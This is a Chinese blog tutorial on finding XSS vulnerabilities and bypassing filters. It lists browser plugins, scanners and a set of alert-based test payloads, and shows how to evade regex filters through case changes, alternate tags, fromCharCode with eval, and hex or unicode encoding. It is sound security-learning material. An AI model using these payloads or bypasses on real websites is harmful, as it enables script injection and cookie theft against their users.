xss漏洞挖掘与绕过学习总结

xss漏洞普遍存在于数据交互的地方,像常见的登录,搜索,留言,评论等用户可以输入的地方。
挖掘xss大体上可以分为两种:
一,手动挖掘
二,利用工具自动化挖掘
一,手工挖掘
利用火狐中常见的XSS 调试插件:
Hackbar;
Firebar;
Tamper Data;
(1)Hackbar:比较常用的测试插件,支持post,get两种请求方式。

在这里插入图片描述(1),可以对我们的字符串进行编码:像常见的<script>alert(/xss/)</script> 将其中的经过编码后就是String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62)
(2),将编码转成html格式
(3),就是将alert中的(xss)进行编码 ,能有效过滤掉单引号之类的限制。
(2),firebug
在页面上右击点击审查元素即可进入firebug,找到测试点后,右击编辑html即可写入测试代码,比如我们想获取当前页面的cookie:<script>alert(document.cookie)</script>即可弹出当前页面cookie值
(3),tamper data :一款类似于burpsuite的抓包工具,抓包之后可以进行改包进行xss调试。
有些xss存在于HTML标签里面,在测试xss时要去闭合HTML标签达到执行,比如存在于文本域<textarea>中我们要去构造<textarea><script>alert(xss)</script></textarea>尝试去闭合这个标签达到执行。
整理了几个手工xss测试的playload:

<script>alert(1)</script>

"><script>alert(1)</script>

<img/src=@ alert(1)/>

"><img/src=@ alert(1)/>
'alert(1)x='

"alert(1)x="

javascript:alert(1)//

";alert(1)//

</script><script>alert(1)//
alert(1)//

工具挖掘xss漏洞常见的有:
awvs
APPscan
burp
xsser
OWASP Xenotix
前三个都是web漏洞主流扫描工具,而后两个是针对xss漏洞加载playload进行暴力破解的其中OWASP Xenotix是测试xss的神器,后续会介绍它的具体用法,其他扫描器相应的教程都能找到。

绕过方法


常见的防xss代码
$x=preg_repalce("/script/",’’’’, $x)
$x=preg_repalce("/script/i",’’’’, $x)
$x=preg_repalce("/alert/i",’’’’, $x)
第一个意思就是当检测到script这个字段时就会替换为空值。但是他没有限制大小写,我们可以用大小写进行替换绕过比如:<sCript>alert(/xss/)</Script> 即可绕过
第二个在代码后加了个i意思是不区分大小写。这个我们可以采用其他标签比如<img src=1 "alert(/xss/)">(这里有onerror显示不出来) 或者采用body标签 <body alert(/xss/)>(这里的onload显示不出来)即可绕过。
第三种是将alert标签替换,并且不区分大小写,这样就没办法使用alert了,我们可以用它的代码执行对它进行编码,方法:先选中alert(/xss/),然后使用hackbar中的string,fromcharcode也就是第一个选项对它进行编码,然后调用eval+(字符串),如<body eval(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62))">.来进行绕过。

编码

:我们可以对我们的语句进行hex编码来绕过xss规则,比如<script>alert(/xss/) </script >可 以转化为:%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%78%73%73%2F%29%3C%2F%73%63%72%69%70%74%3E 都有在线工具提供。
"<>"的转义 \u003c,\u003e就是一个对括号 可以构造:\u003cscript\u003ealert(/xss/)\u003c/scriptu003e.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值